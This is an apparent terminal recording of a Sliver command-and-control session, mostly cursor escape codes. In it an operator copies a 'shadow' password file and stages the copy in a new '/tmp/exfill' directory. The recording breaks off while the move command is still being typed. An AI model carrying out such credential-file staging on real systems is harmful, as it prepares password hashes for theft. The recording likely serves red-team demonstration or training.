[22.836562, "o", "\u001b[133D\u001b[1A\u001b[48D\u001b[26C\u001b[133D\u001b[48C\u001b[?25h"]
|
||||
[23.099235, "o", "\u001b[?25l"]
|
||||
[23.10164, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[23.106762, "o", "\u001b[1m\u001b[32mcp \u001b[39m\u001b[22mshadow shadow_backup\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[49D\u001b[26C"]
|
||||
[23.107571, "o", "\u001b[133D\u001b[49C\u001b[?25h"]
|
||||
[23.911094, "o", "\u001b[49D\u001b[26C\u001b[6n"]
|
||||
[23.924583, "o", "\u001b[133D\u001b[49C\u001b[0J\u001b[133D\r\r\n"]
|
||||
[23.927684, "o", "\u001b[0 q\r\n"]
|
||||
[24.015938, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mCopied 'shadow' to 'shadow_backup' (501 bytes written)\r\n"]
|
||||
[24.016972, "o", "\r\n"]
|
||||
[24.026939, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[24.02705, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[24.027128, "o", "\u001b[6n"]
|
||||
[24.028429, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[26D\u001b[26C\u001b[133D\u001b[26C\u001b[?25h"]
|
||||
[25.268286, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[25.279921, "o", "m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[25.281212, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[27D\u001b[26C\u001b[133D\u001b[27C\u001b[?25h"]
|
||||
[25.37957, "o", "\u001b[?25l"]
|
||||
[25.380571, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[25.389185, "o", "mk\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
|
||||
[25.390693, "o", "\u001b[1A\u001b[28D\u001b[26C\u001b[133D\u001b[28C\u001b[?25h"]
|
||||
[25.523999, "o", "\u001b[?25l\u001b[133D"]
|
||||
[25.525229, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[25.540811, "o", "mkd\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[29D\u001b[26C\u001b[133D\u001b[29C\u001b[?25h"]
|
||||
[25.630345, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[25.638943, "o", "mkdi\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[25.640126, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[30D\u001b[26C\u001b[133D\u001b[30C\u001b[?25h"]
|
||||
[25.776163, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[25.787504, "o", "\u001b[1m\u001b[32mmkdir\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[25.789057, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[31D\u001b[26C\u001b[133D\u001b[31C\u001b[?25h"]
|
||||
[25.926321, "o", "\u001b[?25l\u001b[133D"]
|
||||
[25.927986, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[25.931842, "o", "\u001b[1m\u001b[32mmkdir \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[25.932848, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[32D\u001b[26C\u001b[133D\u001b[32C\u001b[?25h"]
|
||||
[26.726056, "o", "\u001b[?25l"]
|
||||
[26.726938, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[26.741618, "o", "\u001b[1m\u001b[32mmkdir \u001b[39m\u001b[22m/\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[33D"]
|
||||
[26.743055, "o", "\u001b[26C\u001b[133D\u001b[33C\u001b[?25h"]
|
||||
[27.034668, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[27.042397, "o", "\u001b[1m\u001b[32mmkdir \u001b[39m\u001b[22m/t\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A"]
|
||||
[27.043468, "o", "\u001b[34D\u001b[26C\u001b[133D\u001b[34C\u001b[?25h"]
|
||||
[27.159955, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[27.167167, "o", "\u001b[1m\u001b[32mmkdir \u001b[39m\u001b[22m/tm\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[27.168471, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[35D\u001b[26C\u001b[133D\u001b[35C\u001b[?25h"]
|
||||
[27.254058, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[27.259373, "o", "\u001b[1m\u001b[32mmkdir \u001b[39m\u001b[22m/tmp\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[27.26158, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[36D\u001b[26C\u001b[133D\u001b[36C\u001b[?25h"]
|
||||
[27.601187, "o", "\u001b[?25l"]
|
||||
[27.603613, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[27.609461, "o", "\u001b[1m\u001b[32mmkdir \u001b[39m\u001b[22m/tmp/\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[37D\u001b[26C\u001b[133D\u001b[37C\u001b[?25h"]
|
||||
[29.282956, "o", "\u001b[?25l\u001b[133D"]
|
||||
[29.285053, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[29.287449, "o", "\u001b[1m\u001b[32mmkdir \u001b[39m\u001b[22m/tmp/e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[38D\u001b[26C"]
|
||||
[29.287878, "o", "\u001b[133D\u001b[38C\u001b[?25h"]
|
||||
[29.441026, "o", "\u001b[?25l"]
|
||||
[29.446631, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[29.453268, "o", "\u001b[1m\u001b[32mmkdir \u001b[39m\u001b[22m/tmp/ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[39D\u001b[26C\u001b[133D\u001b[39C\u001b[?25h"]
|
||||
[29.682097, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[29.691083, "o", "\u001b[1m\u001b[32mmkdir \u001b[39m\u001b[22m/tmp/exf\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[29.692275, "o", "\u001b[133D\u001b[1A\u001b[40D\u001b[26C\u001b[133D\u001b[40C\u001b[?25h"]
|
||||
[29.796651, "o", "\u001b[?25l"]
|
||||
[29.797168, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[29.801776, "o", "\u001b[1m\u001b[32mmkdir \u001b[39m\u001b[22m/tmp/exfi\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[29.802577, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[41D\u001b[26C\u001b[133D\u001b[41C\u001b[?25h"]
|
||||
[29.871912, "o", "\u001b[?25l\u001b[133D"]
|
||||
[29.872973, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[29.876179, "o", "\u001b[1m\u001b[32mmkdir \u001b[39m\u001b[22m/tmp/exfil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[29.877121, "o", "\u001b[133D\u001b[1A\u001b[42D\u001b[26C\u001b[133D\u001b[42C\u001b[?25h"]
|
||||
[30.02913, "o", "\u001b[?25l"]
|
||||
[30.031356, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[30.041685, "o", "\u001b[1m\u001b[32mmkdir \u001b[39m\u001b[22m/tmp/exfill\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[30.043057, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[43D\u001b[26C\u001b[133D\u001b[43C\u001b[?25h"]
|
||||
[30.353009, "o", "\u001b[43D\u001b[26C\u001b[6n"]
|
||||
[30.363659, "o", "\u001b[133D\u001b[43C\u001b[0J\u001b[133D\r\r\n\u001b[0 q\r\n"]
|
||||
[30.455974, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0m/tmp/exfill"]
|
||||
[30.457597, "o", "\r\n\r\n"]
|
||||
[30.466566, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[30.467097, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[30.468653, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
|
||||
[30.469226, "o", "\u001b[1A\u001b[26D\u001b[26C\u001b[133D\u001b[26C\u001b[?25h"]
|
||||
[32.522269, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[32.523391, "o", "\u001b[6n"]
|
||||
[32.525348, "o", "m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[32.525914, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[27D\u001b[26C\u001b[133D\u001b[27C\u001b[?25h"]
|
||||
[32.682627, "o", "\u001b[?25l\u001b[133D"]
|
||||
[32.683392, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[32.689008, "o", "\u001b[1m\u001b[32mmv\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
|
||||
[32.689622, "o", "\u001b[1A\u001b[28D\u001b[26C\u001b[133D\u001b[28C\u001b[?25h"]
|
||||
[32.808793, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[32.815585, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[29D\u001b[26C\u001b[133D\u001b[29C\u001b[?25h"]
|
||||
[32.996175, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[33.006865, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22ms\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[30D\u001b[26C\u001b[133D\u001b[30C\u001b[?25h"]
|
||||
[33.167442, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[33.171996, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22msh\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[33.172638, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[31D\u001b[26C\u001b[133D\u001b[31C\u001b[?25h"]
|
||||
[33.766405, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[33.767128, "o", "\u001b[6n"]
|
||||
[33.771217, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22msha\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[33.772282, "o", "\u001b[133D\u001b[1A\u001b[32D\u001b[26C\u001b[133D\u001b[32C\u001b[?25h"]
|
||||
[33.856893, "o", "\u001b[?25l"]
|
||||
[33.857558, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[33.85947, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshad\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[33D\u001b[26C\u001b[133D\u001b[33C\u001b[?25h"]
|
||||
[33.993169, "o", "\u001b[?25l"]
|
||||
[33.993551, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[33.998597, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshado\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[33.998983, "o", "\u001b[133D\u001b[1A\u001b[34D\u001b[26C\u001b[133D\u001b[34C\u001b[?25h"]
|
||||
[34.088678, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[34.090971, "o", "\u001b[6n"]
|
||||
[34.095672, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[35D\u001b[26C\u001b[133D\u001b[35C\u001b[?25h"]
|
||||
[34.445577, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[34.448063, "o", "\u001b[6n"]
|
||||
[34.453311, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[36D\u001b[26C"]
|
||||
[34.455573, "o", "\u001b[133D\u001b[36C\u001b[?25h"]
|
||||
[34.755302, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[34.76502, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_b\u001b[0m\u001b[0K\u001b[49m\r"]
|
||||
[34.767234, "o", "\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[37D\u001b[26C\u001b[133D\u001b[37C\u001b[?25h"]
|
||||
[34.889599, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[34.901173, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_ba\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[34.902552, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[38D\u001b[26C\u001b[133D\u001b[38C\u001b[?25h"]
|
||||
[34.944248, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[34.947102, "o", "\u001b[6n"]
|
||||
[34.950687, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_bac\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[39D\u001b[26C\u001b[133D\u001b[39C\u001b[?25h"]
|
||||
[35.085118, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[35.096905, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_back\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[40D\u001b[26C\u001b[133D\u001b[40C\u001b[?25h"]
|
||||
[35.376525, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[35.386256, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backu\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[35.388169, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[41D\u001b[26C\u001b[133D\u001b[41C\u001b[?25h"]
|
||||
[35.589541, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[35.601421, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[35.60222, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[42D\u001b[26C\u001b[133D\u001b[42C\u001b[?25h"]
|
||||
[35.767493, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[35.776291, "o", "\u001b[6n"]
|
||||
[35.78088, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[35.782199, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[43D\u001b[26C\u001b[133D\u001b[43C\u001b[?25h"]
|
||||
[36.309408, "o", "\u001b[?25l\u001b[133D"]
|
||||
[36.310628, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[36.322668, "o", "\u001b[6n"]
|
||||
[36.328249, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[36.333327, "o", "\u001b[133D\u001b[1A\u001b[44D\u001b[26C\u001b[133D\u001b[44C\u001b[?25h"]
|
||||
[36.772219, "o", "\u001b[?25l\u001b[133D"]
|
||||
[36.774612, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[36.778211, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /t\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[36.781103, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[45D\u001b[26C\u001b[133D\u001b[45C\u001b[?25h"]
|
||||
[36.883962, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[36.885394, "o", "\u001b[6n"]
|
||||
[36.891924, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tm\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[46D\u001b[26C\u001b[133D\u001b[46C\u001b[?25h"]
|
||||
[36.997958, "o", "\u001b[?25l\u001b[133D"]
|
||||
[36.999081, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[37.011652, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[47D\u001b[26C\u001b[133D\u001b[47C\u001b[?25h"]
|
||||
[37.271585, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[37.280016, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[37.281574, "o", "\u001b[133D\u001b[1A\u001b[48D\u001b[26C\u001b[133D\u001b[48C\u001b[?25h"]
|
||||
[37.425862, "o", "\u001b[?25l"]
|
||||
[37.427627, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[37.433523, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[37.434635, "o", "\u001b[133D\u001b[1A\u001b[49D\u001b[26C\u001b[133D\u001b[49C\u001b[?25h"]
|
||||
[37.62314, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[37.625102, "o", "\u001b[6n"]
|
||||
[37.630156, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[50D\u001b[26C"]
|
||||
[37.631208, "o", "\u001b[133D\u001b[50C\u001b[?25h"]
|
||||
[37.775858, "o", "\u001b[?25l\u001b[133D"]
|
||||
[37.777064, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[37.780473, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[51D\u001b[26C\u001b[133D\u001b[51C\u001b[?25h"]
|
||||
[37.86508, "o", "\u001b[?25l\u001b[133D"]
|
||||
[37.867092, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[37.872967, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[52D\u001b[26C\u001b[133D\u001b[52C\u001b[?25h"]
|
||||
[38.08217, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[38.082927, "o", "\u001b[6n"]
|
||||
[38.086663, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exill\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[38.088778, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[53D\u001b[26C\u001b[133D\u001b[53C\u001b[?25h"]
|
||||
[38.472862, "o", "\u001b[?25l"]
|
||||
[38.477365, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[38.485551, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[38.486867, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[52D\u001b[26C\u001b[133D\u001b[52C\u001b[?25h"]
|
||||
[38.612072, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[38.617675, "o", "\u001b[6n"]
|
||||
[38.625044, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[51D\u001b[26C\u001b[133D\u001b[51C"]
|
||||
[38.62529, "o", "\u001b[?25h"]
|
||||
[38.758816, "o", "\u001b[?25l\u001b[133D"]
|
||||
[38.761245, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[38.767168, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[50D\u001b[26C\u001b[133D\u001b[50C\u001b[?25h"]
|
||||
[38.825485, "o", "\u001b[?25l\u001b[133D"]
|
||||
[38.827085, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[38.831966, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exf\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[38.832869, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[51D\u001b[26C\u001b[133D\u001b[51C\u001b[?25h"]
|
||||
[39.043514, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[39.05357, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[39.054544, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[52D\u001b[26C\u001b[133D\u001b[52C\u001b[?25h"]
|
||||
[39.095225, "o", "\u001b[?25l\u001b[133D"]
|
||||
[39.098084, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[39.103815, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[53D\u001b[26C\u001b[133D\u001b[53C\u001b[?25h"]
|
||||
[39.285161, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[39.292636, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[54D\u001b[26C\u001b[133D\u001b[54C\u001b[?25h"]
|
||||
